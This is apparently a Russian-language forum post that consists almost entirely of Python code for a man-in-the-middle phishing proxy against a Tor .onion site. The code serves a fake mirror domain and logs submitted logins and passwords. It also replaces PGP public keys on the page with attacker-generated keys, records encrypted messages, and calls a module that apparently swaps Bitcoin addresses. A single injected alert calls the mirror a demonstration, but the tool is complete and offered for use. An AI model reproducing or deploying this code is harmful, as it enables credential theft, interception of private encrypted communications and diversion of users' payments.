Фокус-покус с MITM II (Специально для LIMB.cc)

import re
import os
import threading
from datetime import datetime
import pgpy

KEYS_F = 'pgpk.txt'
MSGS_F = 'pgpmsg.txt'

LOCK = threading.Lock()

PUB_RE = re.compile(
    r'-----BEGIN PGP PUBLIC KEY BLOCK-----(.*?)-----END PGP PUBLIC KEY BLOCK-----',
    re.DOTALL
)
MSG_RE = re.compile(
    r'-----BEGIN PGP MESSAGE-----(.*?)-----END PGP MESSAGE-----',
    re.DOTALL
)

KEY_MAP = {}

def load_map():
    if os.path.exists(KEYS_F):
        with open(KEYS_F, 'r') as f:
            blocks = f.read().split("\n\n")
            for blk in blocks:
                if not blk.strip():
                    continue
                try:
                    orig, fake = blk.split("\n", 1)
                    KEY_MAP[orig.strip()] = fake.strip()
                except:
                    continue

def save_key(orig, fake):
    with LOCK:
        with open(KEYS_F, 'a') as f:
            f.write(orig.strip() + "\n" + fake.strip() + "\n\n")

def save_msg(msg):
    with LOCK:
        with open(MSGS_F, 'a') as f:
            f.write(f"----- {datetime.now()} -----\n")
            f.write(msg.strip() + "\n\n")

def gen_key(): #Данные для генерации стоит извлекать из реального ключа
    k = pgpy.PGPKey.new(pgpy.constants.PubKeyAlgorithm.RSAEncryptOrSign, 2048)
    uid = pgpy.PGPUID.new("MITM-Ключ", email="[email protected]")         
    k.add_uid(
        uid,
        usage={pgpy.constants.KeyFlags.EncryptCommunications, pgpy.constants.KeyFlags.EncryptStorage},
        hashes=[pgpy.constants.HashAlgorithm.SHA256],
        ciphers=[pgpy.constants.SymmetricKeyAlgorithm.AES256],
        compression=[pgpy.constants.CompressionAlgorithm.ZLIB]
    )
    return str(k.pubkey), str(k)

def repl_keys(txt):
    def rpl(m):
        orig = f"-----BEGIN PGP PUBLIC KEY BLOCK-----{m.group(1)}-----END PGP PUBLIC KEY BLOCK-----"
        if orig in KEY_MAP:
            return KEY_MAP[orig]
        pub, priv = gen_key()
        KEY_MAP[orig] = pub
        save_key(orig, priv)
        print("[PGP] Подменён публичный ключ")
        return pub
    return PUB_RE.sub(rpl, txt)

def log_msgs(txt):
    def log(m):
        blk = f"-----BEGIN PGP MESSAGE-----{m.group(1)}-----END PGP MESSAGE-----"
        save_msg(blk)
        print("[PGP] Найдено зашифрованное сообщение")
        return blk
    return MSG_RE.sub(log, txt)

load_map()

from http.server import BaseHTTPRequestHandler, HTTPServer
import requests, re, chardet
import traceback

import fakebtc, fakepgp        #Модули замены, в будущем будет обновление

P = 5745
TGT = 'LIMB2zgtrohmyzjwq63ork27medl26wvjl6aqov5c2m64wkhbnqd.onion'
RPL = 'nabya4wtmd2h7kjvyv5x6nz65iwugzbxrqzpym47kwhfl23xiqfsvlad.onion'
SOCKS = 'socks5h://127.0.0.1:9050'

SUBS = {
    TGT: RPL,
    '</title>': '</title><script>alert("Этот домен фэйк и необходим для демонстрации уязвимости!    Настоящий: http://LIMB2zgtrohmyzjwq63ork27medl26wvjl6aqov5c2m64wkhbnqd.onion")</script>',
    'http://LIMB.cc': RPL,
    'https://LIMB.cc': RPL,
    'admin': 'EC5745Y',
    'LIMB...bnqd.onion': 'nabya4wt...vlad.onion',
    '[email protected]': '[email protected]',
 
}

def repl(txt):
    for o, n in SUBS.items():
        txt = txt.replace(o, n)
    return txt

def enc(ct, data):
    m = re.search(r'charset=([^\s;]+)', ct or '', re.I)
    if m:
        return m.group(1)
    d = chardet.detect(data)
    return d['encoding'] if d and d['encoding'] else 'utf-8'

class H(BaseHTTPRequestHandler):
    def handle_one_request(self):
        try:
            super().handle_one_request()
        except Exception:
            pass

    def _h(self):
        try:
            u = f'http://{TGT}{self.path}'
            hdrs = {k: repl(v) for k, v in self.headers.items() if k.lower() != 'host'}
            ln = int(self.headers.get('Content-Length', 0))
            b = self.rfile.read(ln) if ln else b''

            if self.command == 'POST' and b:
                e = enc(self.headers.get('Content-Type', ''), b)
                d = b.decode(e, errors='replace')
                print('\n[POST BODY]\n' + re.sub(
                    r'(?i)(login|user(name)?|pass(word)?|pwd|e-?mail)',
                    lambda m: f"\033[91m{m.group(0)}\033[0m", d) + '\n')

            r = requests.request(
                self.command, u, headers=hdrs, data=b,
                allow_redirects=False,
                proxies={'http': SOCKS, 'https': SOCKS},
                timeout=30
            )

            self.send_response(r.status_code)
            for k, v in r.headers.items():
                if k.lower() not in {'content-length', 'transfer-encoding', 'content-encoding', 'connection'}:
                    self.send_header(k, repl(v))

            ct = r.headers.get('Content-Type', '')
            if ct.startswith(('text', 'application/json', 'application/xml')):
                e = enc(ct, r.content)
                t = r.content.decode(e, errors='replace')
                t = repl(t)

                try:
                    t = fakepgp.repl_keys(t)
                except Exception as e:
                    traceback.print_exc()
                try:
                    t = t = fakepgp.log_msgs(t)
                except Exception as e:
                    traceback.print_exc()
                try:
                    t = t = fakebtc.fakebtc(t)
                except Exception as e:
                    traceback.print_exc()

                c = t.encode(e, errors='replace')
            else:
                c = r.content

            self.send_header('Content-Length', str(len(c)))
            self.end_headers()

            try:
                self.wfile.write(c)
            except Exception:
                pass

        except Exception as e:
            print(f"[ERROR] Ошибка в обработчике запроса: {e}")
            traceback.print_exc()
            try:
                self.send_response(500)
                self.end_headers()
            except Exception:
                pass

    do_GET = do_POST = do_PUT = do_DELETE = do_PATCH = do_OPTIONS = _h

print(f"Фейковый адрес: {RPL}")
HTTPServer(('', P), H).serve_forever()